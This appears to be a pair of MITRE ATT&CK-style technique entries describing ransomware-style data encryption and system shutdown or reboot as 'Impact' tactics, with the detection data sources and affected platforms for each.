Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.
Tactics:	Impact
Data Sources:	Cloud Storage: Cloud Storage Modification, Command: Command Execution, File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre